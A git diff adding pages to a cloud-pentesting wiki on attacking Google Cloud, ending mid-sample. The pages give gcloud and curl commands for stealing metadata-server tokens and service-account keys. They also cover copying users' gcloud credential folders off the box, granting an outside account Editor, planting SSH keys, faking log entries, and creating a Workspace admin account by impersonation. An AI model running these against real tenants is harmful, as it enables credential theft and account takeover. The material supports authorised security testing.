definitely take the time to manually review and understand if something is worth looking at more closely. +You may notice an interesting custom name in the list above (unfortunately, `bash.history` is not a default). While you should inspect all log entries, definitely take the time to manually review and understand if something is worth looking at more closely. You can view the logs for an individual item as follows. @@ -944,29 +945,29 @@ gcloud logging read [FOLDER] Omitting the folder name will just start dumping all the logs. You might want to add a `--LIMIT` flag if you do this. -If a service account has permissions to write to log file \(even the most restricted generally do\), you can write arbitrary data to existing log folders and/or create new log folders and write data there as follows. +If a service account has permissions to write to log file (even the most restricted generally do), you can write arbitrary data to existing log folders and/or create new log folders and write data there as follows. ```bash gcloud logging write [FOLDER] [MESSAGE] ``` -Advanced write functionality \(payload type, severity, etc\) can be found in the [gcloud logging write documentation](https://cloud.google.com/sdk/gcloud/reference/logging/write). +Advanced write functionality (payload type, severity, etc) can be found in the [gcloud logging write documentation](https://cloud.google.com/sdk/gcloud/reference/logging/write). Extra-crafty attackers can get creative with this. Writing log entries may be an interesting way to distract the Blue Team folks, hide your actions, or even phish via detection/response events. -#### Reviewing cloud functions +#### Reviewing cloud functions Google [Cloud Functions](https://cloud.google.com/functions/) allow you to host code that is executed when an event is triggered, without the requirement to manage a host operating system. These functions can also store environment variables to be used by the code. And what do people use environment variables for? Secrets! You can see if any cloud functions are available to you by running: -```text +``` gcloud functions list ``` You can then query an individual function for its configuration, which would include any defined environment variables: -```text +``` gcloud functions describe [FUNCTION NAME] ``` @@ -978,7 +979,7 @@ The output log of previous runs may be useful as well, which you get review with gcloud functions logs read [FUNCTION NAME] --limit [NUMBER] ``` -#### Reviewing app engine configurations +#### Reviewing app engine configurations Google [App Engine](https://cloud.google.com/appengine/) is another ["serverless"](https://about.gitlab.com/topics/serverless/) offering for hosting applications, with a focus on scalability. As with Cloud Functions, there is a chance that the application will rely on secrets that are accessed at run-time via environment variables. These variables are stored in an `app.yaml` file which can be accessed as follows: @@ -990,7 +991,7 @@ gcloud app versions list gcloud app describe [APP] ``` -#### Reviewing cloud run configurations +#### Reviewing cloud run configurations Google [Cloud Run](https://cloud.google.com/run) is… yep, another "serverless" offering! You'll want to also look here for environment variables, but this one introduces a new potential exploitation vector. Basically, Cloud Run creates a small web server, running on port 8080, that sits around waiting for an HTTP GET request. When the request is received, a job is executed and the job log is output via an HTTP response. @@ -1020,18 +1021,18 @@ curl -H \ [URL] ``` -#### Reviewing AI platform configurations +#### Reviewing AI platform configurations -Google [AI Platform](https://cloud.google.com/ai-platform/) is \(yep, another\) "serverless" offering for machine learning projects. +Google [AI Platform](https://cloud.google.com/ai-platform/) is (yep, another) "serverless" offering for machine learning projects. There are a few areas here you can look for interesting information - models and jobs. Try the following commands. -```text +``` $ gcloud ai-platform models list --format=json $ gcloud ai-platform jobs list --format=json ``` -#### Reviewing cloud pub/sub +#### Reviewing cloud pub/sub Google [Cloud Pub/Sub](https://cloud.google.com/pubsub/) is a service that allows independent applications to send messages back and forth. @@ -1045,7 +1046,7 @@ There is a lot of potential for attackers here in terms of affecting these messa The following commands should help you explore. -```text +``` # Get a list of topics in the project $ gcloud pubsub topics list @@ -1063,7 +1064,7 @@ A savvy attacker might realize that they could intentionally ACK messages to ens However, you may have better results [asking for a larger set of data](https://cloud.google.com/pubsub/docs/replay-overview), including older messages. This has some prerequisites and could impact applications, so make sure you really know what you're doing. -#### Reviewing cloud Git repositories +#### Reviewing cloud Git repositories Google's [Cloud Source Repositories](https://cloud.google.com/source-repositories/) are Git designed to be private storage for source code. You might find useful secrets here, or use the source to discover vulnerabilities in other applications. @@ -1077,7 +1078,7 @@ gcloud source repos list gcloud source repos clone [REPO NAME] ``` -#### Reviewing cloud filestore instances +#### Reviewing cloud filestore instances Google [Cloud Filestore](https://cloud.google.com/filestore/) is NAS for Compute Instances and Kubernetes Engine instances. You can think of this like any other shared document repository - a potential source of sensitive info. @@ -1087,7 +1088,7 @@ If you find a filestore available in the project, you can mount it from within y gcloud filestore instances list --format=json ``` -#### Taking a crack at Kubernetes +#### Taking a crack at Kubernetes [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/) is managed Kubernetes as a service. @@ -1095,13 +1096,13 @@ Kubernetes is worthy of its own tutorial, particularly if you are looking to bre First, you can check to see if any Kubernetes clusters exist in your project. -```text +``` gcloud container clusters list ``` If you do have a cluster, you can have `gcloud` automatically configure your `~/.kube/config` file. This file is used to authenticate you when you use [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), the native CLI for interacting with K8s clusters. Try this command. -```text +``` gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION] ``` @@ -1109,19 +1110,19 @@ Then, take a look at the `~/.kube/config` file to see the generated credentials. Once this is set up, you can try the following command to get the cluster configuration. -```text +``` kubectl cluster-info ``` You can read more about `gcloud` for containers [here](https://cloud.google.com/sdk/gcloud/reference/container/). -#### Reviewing secrets management +#### Reviewing secrets management Google [Secrets Management](https://cloud.google.com/solutions/secrets-management/) is a vault-like solution for storing passwords, API keys, certificates, and other sensitive data. As of this writing, it is currently in beta. If in use, this could be a gold mine. Give it a shot as follows: -```text +``` # First, list the entries $ gcloud beta secrets list @@ -1133,11 +1134,11 @@ Note that changing a secret entry will create a new version, so it's worth chang As this offering is still in beta, these commands are likely to change with time. -#### Searching the local system for secrets +#### Searching the local system for secrets Temporary directories, history files, environment variables, shell scripts, and various world-readable files are usually a treasure trove for secrets. You probably already know all that, so here are some regexes that will come in handy when grepping for things specific to GCP. -Each grep command is using the `-r` flag to search recursively, so first set the TARGET\_DIR variable and then fire away. +Each grep command is using the `-r` flag to search recursively, so first set the TARGET_DIR variable and then fire away. ```bash TARGET_DIR="/path/to/whatever" @@ -1172,7 +1173,6 @@ grep -Pzr '(?s)
' \ ``` -#### Automating Enumeration +#### Automating Enumeration If you're looking for a single script with most/all/maybe more of the commands run in this tutorial, you can take a look at [this bash script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_enum). It will create an output folder with all of the raw data your authenticated account has the permission to collect. - diff --git a/cloud-security/gcp-security/README.md b/cloud-security/gcp-security/README.md new file mode 100644 index 00000000..403ed552 --- /dev/null +++ b/cloud-security/gcp-security/README.md @@ -0,0 +1,444 @@ +# GCP Security + +## Security concepts + +### **Resource hierarchy** + +Google Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specific attachment points for policies and permissions. + +At a high level, it looks like this: + +``` +Organization +--> Folders + --> Projects + --> Resources +``` + +A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc. + +### **IAM Roles** + +There are** three types** of roles in IAM: + +* **Basic/Primitive roles**, which include the **Owner**, **Editor**, and **Viewer** roles that existed prior to the introduction of IAM. +* **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have **[**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles). +* **Custom roles**, which provide granular access according to a user-specified list of permissions. + +There are thousands of permissions in GCP. In order to check if a role has a permissions you can [**search the permission here**](https://cloud.google.com/iam/docs/permissions-reference) and see which roles have it. + +**You can also **[**search here predefined roles**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation)** offered by each product.** + +#### Basic roles + +| Name | Title | Permissions | +| ---------------- | ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **roles/viewer** | Viewer | Permissions for **read-only actions** that do not affect state, such as viewing (but not modifying) existing resources or data. | +| **roles/editor** | Editor | All **viewer permissions**, **plus** permissions for actions that modify state, such as changing existing resources. | +| **roles/owner** | Owner |

All Editor permissions and permissions for the following actions:

  • Manage roles and permissions for a project and all resources within the project.
  • Set up billing for a project.
| + +You can try the following command to specifically **enumerate roles assigned to your service account** project-wide in the current project: + +```bash +PROJECT=$(curl http://metadata.google.internal/computeMetadata/v1/project/project-id \ + -H "Metadata-Flavor: Google" -s) +ACCOUNT=$(curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email \ + -H "Metadata-Flavor: Google" -s) +gcloud projects get-iam-policy $PROJECT \ + --flatten="bindings[].members" \ + --format='table(bindings.role)' \ + --filter="bindings.members:$ACCOUNT" +``` + +Don't worry too much if you get denied access to the command above. It's still possible to work out what you can do simply by trying to do it. + +More generally, you can shorten the command to the following to get an idea of the **roles assigned project-wide to all members**. + +``` +gcloud projects get-iam-policy [PROJECT-ID] +``` + +Or to see the IAM policy [assigned to a single Compute Instance](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy) you can try the following. + +``` +gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE] +``` + +### **Service accounts** + +Virtual machine instances are usually **assigned a service account**. Every GCP project has a [default service account](https://cloud.google.com/compute/docs/access/service-accounts#default_service_account), and this will be assigned to new Compute Instances unless otherwise specified. Administrators can choose to use either a custom account or no account at all. This service account** can be used by any user or application on the machine** to communicate with the Google APIs. You can run the following command to see what accounts are available to you: + +``` +gcloud auth list +``` + +**Default service accounts will look like** one of the following: + +``` +PROJECT_NUMBER-compute@developer.gserviceaccount.com +PROJECT_ID@appspot.gserviceaccount.com +``` + +A** custom service account **will look like this: + +``` +SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com +``` + +If `gcloud auth list` returns **multiple** accounts **available**, something interesting is going on. You should generally see only the service account. If there is more than one, you can cycle through each using `gcloud config set account [ACCOUNT]` while trying the various tasks in this blog. + +### **Access scopes** + +The **service account** on a GCP Compute Instance will **use** **OAuth** to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will **have a **[**scope**](https://oauth.net/2/scope/)** limitation included**. This defines **what API endpoints it can authenticate to**. It does **NOT define the actual permissions**. + +When using a **custom service account**, Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that access scopes are not used and to **rely totally on IAM**. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programatically. + +There are three options when setting an access scope on a VM instance: + +* Allow default access +* All full access to all cloud APIs +* Set access for each API + +You can see what **scopes** are **assigned** by **querying** the **metadata** URL. Here is an example from a VM with "default" access assigned: + +``` +$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \ + -H 'Metadata-Flavor:Google' + +https://www.googleapis.com/auth/devstorage.read_only +https://www.googleapis.com/auth/logging.write +https://www.googleapis.com/auth/monitoring.write +https://www.googleapis.com/auth/servicecontrol +https://www.googleapis.com/auth/service.management.readonly +https://www.googleapis.com/auth/trace.append +``` + +The most interesting thing in the **default** **scope** is **`devstorage.read_only`**. This grants read access to all storage buckets in the project. This can be devastating, which of course is great for us as an attacker. + +Here is what you'll see from an instance with **no scope limitations**: + +``` +curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google' +https://www.googleapis.com/auth/cloud-platform +``` + +This `cloud-platform` scope is what we are really hoping for, as it will allow us to authenticate to any API function and leverage the full power of our assigned IAM permissions. + +It is possible to encounter some **conflicts** when using both **IAM and access scopes**. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance. + +### Default credentials + +**Default service account token** + +The **metadata server** available to a given instance will **provide** any user/process **on that instance** with an **OAuth token** that is automatically used as the **default credentials** when communicating with Google APIs via the `gcloud` command. + +You can retrieve and inspect the token with the following curl command: + +``` +$ curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \ + -H "Metadata-Flavor: Google" +``` + +Which will receive a response like the following: + +``` +{ + "access_token":"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA", + "expires_in":3599, + "token_type":"Bearer" + } +``` + +This token is the **combination of the service account and access scopes** assigned to the Compute Instance. So, even though your service account may have **every IAM privilege **imaginable, this particular OAuth token **might be limited** in the APIs it can communicate with due to **access scopes**. + +**Application default credentials** + +When using one of Google's official GCP client libraries, the code will automatically go **searching for credentials** following a strategy called [Application Default Credentials](https://cloud.google.com/docs/authentication/production). + +1. First, it will check would be the [**source code itself**](https://cloud.google.com/docs/authentication/production#passing_the_path_to_the_service_account_key_in_code). Developers can choose to statically point to a service account key file. +2. The next is an **environment variable called `GOOGLE_APPLICATION_CREDENTIALS`**. This can be set to point to a **service account key file**. +3. Finally, if neither of these are provided, the application will revert to using the **default token provided by the metadata server** as described in the section above. + +Finding the actual **JSON file with the service account credentials** is generally much **more** **desirable** than **relying on the OAuth token** on the metadata server. This is because the raw service account credentials can be activated **without the burden of access scopes** and without the short expiration period usually applied to the tokens. + +### **Networking** + +Compute Instances are connected to networks called VPCs or [Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc). [GCP firewall](https://cloud.google.com/vpc/docs/firewalls) rules are defined at this network level but are applied individually to a Compute Instance. Every network, by default, has two [implied firewall rules](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules): allow outbound and deny inbound. + +Each GCP project is provided with a VPC called `default`, which applies the following rules to all instances: + +* default-allow-internal (allow all traffic from other instances on the `default` network) +* default-allow-ssh (allow 22 from everywhere) +* default-allow-rdp (allow 3389 from everywhere) +* default-allow-icmp (allow ping from everywhere) + +**Meet the neighbors** + +Firewall rules may be more permissive for internal IP addresses. This is especially true for the default VPC, which permits all traffic between Compute Instances. + +You can get a nice readable view of all the subnets in the current project with the following command: + +``` +gcloud compute networks subnets list +``` + +And an overview of all the internal/external IP addresses of the Compute Instances using the following: + +``` +gcloud compute instances list +``` + +If you go crazy with nmap from a Compute Instance, Google will notice and will likely send an alert email to the project owner. This is more likely to happen if you are scanning public IP addresses outside of your current project. Tread carefully. + +**Enumerating public ports** + +Perhaps you've been unable to leverage your current access to move through the project internally, but you DO have read access to the compute API. It's worth enumerating all the instances with firewall ports open to the world - you might find an insecure application to breach and hope you land in a more powerful position. + +In the section above, you've gathered a list of all the public IP addresses. You could run nmap against them all, but this may taken ages and could get your source IP blocked. + +When attacking from the internet, the default rules don't provide any quick wins on properly configured machines. It's worth checking for password authentication on SSH and weak passwords on RDP, of course, but that's a given. + +What we are really interested in is other firewall rules that have been intentionally applied to an instance. If we're lucky, we'll stumble over an insecure application, an admin interface with a default password, or anything else we can exploit. + +[Firewall rules](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following methods: + +* [Network tags](https://cloud.google.com/vpc/docs/add-remove-network-tags) +* [Service accounts](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts) +* All instances within a VPC + +Unfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances. + +We've automated this completely using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following: + +* CSV file showing instance, public IP, allowed TCP, allowed UDP +* nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0) +* masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0) + +## Enumeration + +{% hint style="info" %} +Remember that in all those **resources belonging to a project** you can use the parameter `--project ` to enumerate the resources that belongs to that specific project. +{% endhint %} + +### Resource hierarchy + +### IAM + +| Description | Command | +| ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- | +| List **roles** | `gcloud iam roles list --filter='etag:AA=='` | +| Get **description** and permissions of a role | gcloud iam roles describe roles/container.admin | +| Get iam **policy** of a **organisation** | `gcloud organizations get-iam-policy` | +| Get iam **policy** of a **project** | `gcloud projects get-iam-policy ` | +| Get iam **policy** of a **folder** | `gcloud resource-manager folders get-iam-policy` | +| [**Testable permissions**](https://cloud.google.com/iam/docs/reference/rest/v1/permissions/queryTestablePermissions) on a resource | `gcloud iam list-testable-permissions --filter "NOT apiDisabled: true` | +| List of **grantable** **roles** for a resource | `gcloud iam list-grantable-roles ` | +| List **custom** **roles** on a project | `gcloud iam roles list --project $PROJECT_ID` | +| List **service accounts** | `gcloud iam service-accounts list` | + +### Compute Engine / Virtual Machines + +| Description | Command | +| -------------------------------- | --------------------------------------------------------------------------------------------------------- | +| List all **instances** | `gcloud compute instances list` | +| List **instances** **templates** | `gcloud compute instance-templates list` | +| Show instance **info** | `gcloud compute instances describe "" --project "" --zone "us-west2-a"` | +| Get **active** **zones** | `gcloud compute regions list \| grep -E "NAME\|[^0]/` | +| **Stop** an instance | `gcloud compute instances stop instance-2` | +| **Start** an instance | `gcloud compute instances start instance-2` | +| **Create** an instance | `gcloud compute instances create vm1 --image image-1 --tags test --zone "" --machine-type f1-micro` | +| **SSH** to instance | `gcloud compute ssh --project "" --zone "" ""` | +| **Download** files | `gcloud compute copy-files example-instance:~/REMOTE-DIR ~/LOCAL-DIR --zone us-central1-a` | +| **Upload** files | `gcloud compute copy-files ~/LOCAL-FILE-1 example-instance:~/REMOTE-DIR --zone us-central1-a` | +| List all **disks** | `gcloud compute disks list` | +| List all disk types | `gcloud compute disk-types list` | +| List all **snapshots** | `gcloud compute snapshots list` | +| **Create** snapshot | `gcloud compute disks snapshot --snapshotname --zone $zone` | +| List **images** | `gcloud compute images list` | +| List **subnets** | `gcloud compute networks subnets list` | + +## Local Privilege Escalation / SSH Pivoting + +Supposing that you have compromised a VM in GCP, there are some **GCP privileges** that can allow you to **escalate privileges locally, into other machines and also pivot to other VMs**: + +{% content-ref url="gcp-local-privilege-escalation-ssh-pivoting.md" %} +[gcp-local-privilege-escalation-ssh-pivoting.md](gcp-local-privilege-escalation-ssh-pivoting.md) +{% endcontent-ref %} + +## Cloud privilege escalation + +### IAM permissions + +The most common way once you have obtained some cloud credentials of has compromised some service running inside a cloud is to **abuse miss-configured privileges **the compromised account may have. So, the first thing you should do is to enumerate your privileges. + +Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well. + +### Bypassing access scopes + +When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a **[**scope**](https://oauth.net/2/scope/)** limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has. + +The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OUATH token** without restriction or to **jump to a different VM less restricted**. + +**Pop another box** + +It's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of `gcloud compute instances list --quiet --format=json`, look for instances with either the specific scope you want or the **`auth/cloud-platform`** all-inclusive scope. + +Also keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`). + +**Find service account keys** + +Google states very clearly [**"Access scopes are not a security mechanism… they have no effect when making requests not authenticated through OAuth"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam). + +Therefore, if you **find a **[**service account key**](https://cloud.google.com/iam/docs/creating-managing-service-account-keys)** **stored on the instance you can bypass the limitation. These are **RSA private keys** that can be used to authenticate to the Google Cloud API and **request a new OAuth token with no scope limitations**. + +Check if any service account has exported a key at some point with: + +```bash +for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do + echo Looking for keys for $i: + gcloud iam service-accounts keys list --iam-account $i +done +``` + +These files are **not stored on a Compute Instance by default**, so you'd have to be lucky to encounter them. The default name for the file is `[project-id]-[portion-of-key-id].json`. So, if your project name is `test-project` then you can **search the filesystem for `test-project*.json`** looking for this key file. + +The contents of the file look something like this: + +```json +{ +"type": "service_account", +"project_id": "[PROJECT-ID]", +"private_key_id": "[KEY-ID]", +"private_key": "-----BEGIN PRIVATE KEY-----\n[PRIVATE-KEY]\n-----END PRIVATE KEY-----\n", +"client_email": "[SERVICE-ACCOUNT-EMAIL]", +"client_id": "[CLIENT-ID]", +"auth_uri": "https://accounts.google.com/o/oauth2/auth", +"token_uri": "https://accounts.google.com/o/oauth2/token", +"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", +"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]" +} +``` + +Or, if **generated from the CLI **they will look like this: + +```json +{ +"name": "projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]", +"privateKeyType": "TYPE_GOOGLE_CREDENTIALS_FILE", +"privateKeyData": "[PRIVATE-KEY]", +"validAfterTime": "[DATE]", +"validBeforeTime": "[DATE]", +"keyAlgorithm": "KEY_ALG_RSA_2048" +} +``` + +If you do find one of these files, you can tell the **`gcloud` command to re-authenticate** with this service account. You can do this on the instance, or on any machine that has the tools installed. + +```bash +gcloud auth activate-service-account --key-file [FILE] +``` + +You can now **test your new OAuth token** as follows: + +```bash +TOKEN=`gcloud auth print-access-token` +curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN +``` + +You should see `https://www.googleapis.com/auth/cloud-platform` listed in the scopes, which means you are **not limited by any instance-level access scopes**. You now have full power to use all of your assigned IAM permissions. + +### **Steal gcloud authorizations** + +It's quite possible that** other users on the same box have been running `gcloud`** commands using an account more powerful than your own. You'll **need local root** to do this. + +First, find what `gcloud` config directories exist in users' home folders. + +``` +$ sudo find / -name "gcloud" +``` + +You can manually inspect the files inside, but these are generally the ones with the secrets: + +* \~/.config/gcloud/credentials.db +* \~/.config/gcloud/legacy_credentials/\[ACCOUNT]/adc.json +* \~/.config/gcloud/legacy_credentials/\[ACCOUNT]/.boto +* \~/.credentials.json + +Now, you have the option of looking for clear text credentials in these files or simply copying the entire `gcloud` folder to a machine you control and running `gcloud auth list` to see what accounts are now available to you. + +### Service account impersonation + +Impersonating a service account can be very useful to **obtain new and better privileges**. + +There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): + +* Authentication **using RSA private keys** (covered [above](./#bypassing-access-scopes)) +* Authorization **using Cloud IAM policies** (covered [here](gcp-iam-escalation.md#iam.serviceaccounttokencreator)) +* **Deploying jobs on GCP services** (more applicable to the compromise of a user account) + +### Granting access to management console + +Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**. + +To **grant** the primitive role of **Owner** to a generic "@gmail.com" account, though, you'll need to **use the web console**. `gcloud` will error out if you try to grant it a permission above Editor. + +You can use the following command to **grant a user the primitive role of Editor** to your existing project: + +```bash +gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor +``` + +If you succeeded here, try **accessing the web interface** and exploring from there. + +This is the **highest level you can assign using the gcloud tool**. + +### Spreading to Workspace via domain-wide delegation of authority + +[**Workspace**](https://gsuite.google.com) is Google's c**ollaboration and productivity platform** which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. + +**Service accounts** in GCP can be granted the **rights to programatically access user data** in Workspace by impersonating legitimate users. This is known as [domain-wide delegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation). This includes actions like **reading** **email** in GMail, accessing Google Docs, and even creating new user accounts in the G Suite organization. + +Workspace has [its own API](https://developers.google.com/gsuite/aspects/apis), completely separate from GCP. Permissions are granted to Workspace and **there isn't any default relation between GCP and Workspace**. + +However, it's possible to **give** a service account **permissions** over a Workspace user. If you have access to the Web UI at this point, you can browse to **IAM -> Service Accounts** and see if any of the accounts have **"Enabled" listed under the "domain-wide delegation" column**. The column itself may **not appear if no accounts are enabled **(you can read the details of each service account to confirm this). As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker. + +To create this relation it's needed to **enable it in GCP and also in Workforce**. + +#### Test Workspace access + +To test this access you'll need the** service account credentials exported in JSON** format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled. + +This topic is a bit tricky… your service account has something called a "client_email" which you can see in the JSON credential file you export. It probably looks something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access Workforce API calls directly with that email, even with delegation enabled, you will fail. This is because the Workforce directory will not include the GCP service account's email addresses. Instead, to interact with Workforce, we need to actually impersonate valid Workforce users. + +What you really want to do is to **impersonate a user with administrative access**, and then use that access to do something like **reset a password, disable multi-factor authentication, or just create yourself a shiny new admin account**. + +Gitlab've created [this Python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py) that can do two things - list the user directory and create a new administrative account. Here is how you would use it: + +```bash +# Validate access only +./gcp_delegation.py --keyfile ./credentials.json \ + --impersonate steve.admin@target-org.com \ + --domain target-org.com + +# List the directory +./gcp_delegation.py --keyfile ./credentials.json \ + --impersonate steve.admin@target-org.com \ + --domain target-org.com \ + --list + +# Create a new admin account +./gcp_delegation.py --keyfile ./credentials.json \ + --impersonate steve.admin@target-org.com \ + --domain target-org.com \ + --account pwned +``` + +You can try this script across a range of email addresses to impersonate **various** **users**. Standard output will indicate whether or not the service account has access to Workforce, and will include a **random password for the new admin accoun**t if one is created. + +If you have success creating a new admin account, you can log on to the [Google admin console](https://admin.google.com) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild. + + + +## References + +* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) diff --git a/cloud-security/gcp-security/gcp-iam-escalation.md b/cloud-security/gcp-security/gcp-iam-escalation.md new file mode 100644 index 00000000..42c6e22f --- /dev/null +++ b/cloud-security/gcp-security/gcp-iam-escalation.md @@ -0,0 +1,20 @@ +# GCP - IAM Escalation + +## **iam.serviceAccountTokenCreator** + +The predefined role called **`iam.serviceAccountTokenCreator`** allow to **impersonate other accounts** that can have more permissions and/or a less restrictive scope. + +Using this role you could impersonate the default service account if it still exists in the project as it has the primitive role of Project Editor. You should also search for a service account with the primitive role of Owner. + +`gcloud` has a `--impersonate-service-account` [flag](https://cloud.google.com/sdk/gcloud/reference/#--impersonate-service-account) which can be used with any command to execute in the context of that account. + +To give this a shot, you can try the following: + +```bash +# View available service accounts +gcloud iam service-accounts list + +# Impersonate the account +gcloud compute instances list \ + --impersonate-service-account xxx@developer.gserviceaccount.com +``` diff --git a/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md b/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md new file mode 100644 index 00000000..29fb1f45 --- /dev/null +++ b/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md @@ -0,0 +1,167 @@ +# GCP - Local Privilege Escalation / SSH Pivoting + +in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project. + +Amazingly, GPC permissions of the compute engine you have compromised may help you to **escalate privileges locally inside a machine**. Even if that won't always be very helpful in a cloud environment, it's good to know it's possible. + +## Read the scripts + +**Compute Instances** are probably there to **execute some scripts** to perform actions with their service accounts. + +As IAM is go granular, an account may have **read/write** privileges over a resource but **no list privileges**. + +A great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`. + +Running `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks. + +You may be able to find this bucket name inside a script (in bash, Python, Ruby...). + +## Modifying the metadata + +If you can **modify the instance's metadata**, there are numerous ways to escalate privileges locally. There are a few scenarios that can lead to a service account with this permission: + +_**Default service account**_\ +If the service account access **scope** is set to **full access** or at least is explicitly allowing **access to the compute API**, then this configuration is **vulnerable** to escalation. The **default** **scope** is **not** **vulnerable**. + +_**Custom service account**_\ +When using a custom service account, **one** of the following IAM permissions **is** **necessary** to escalate privileges: + +* `compute.instances.setMetadata` (to affect a single instance) +* `compute.projects.setCommonInstanceMetadata` (to affect all instances in the project) + +Although Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#associating_a_service_account_to_an_instance) not using access scopes for custom service accounts, it is still possible to do so. You'll need one of the following **access scopes**: + +* `https://www.googleapis.com/auth/compute` +* `https://www.googleapis.com/auth/cloud-platfo`rm + +## **Add SSH keys ** + +### **Add SSH keys to custom metadata** + +**Linux** **systems** on GCP will typically be running [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) scripts. One of these is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which **periodically** **queries** the instance metadata endpoint for **changes to the authorized SSH public keys**. + +**If a new public** key is encountered, it will be processed and **added to the local machine**. Depending on the format of the key, it will either be added to the `~/.ssh/authorized_keys` file of an **existing user or will create a new user with `sudo` rights**. + +So, if you can **modify custom instance metadata** with your service account, you can **escalate** to root on the local system by **gaining SSH rights** to a privileged account. If you can modify **custom project metadata**, you can **escalate** to root on **any system in the current GCP project** that is running the accounts daemon. + +### **Add SSH key to existing privileged user** + +Let's start by adding our own key to an existing account, as that will probably make the least noise. + +**Check the instance for existing SSH keys**. Pick one of these users as they are likely to have sudo rights. + +```bash +gcloud compute instances describe [INSTANCE] --zone [ZONE] +``` + +Look for a section like the following: + +``` + ... + metadata: + fingerprint: QCZfVTIlKgs= + items: + ... + - key: ssh-keys + value: |- + alice:ssh-rsa 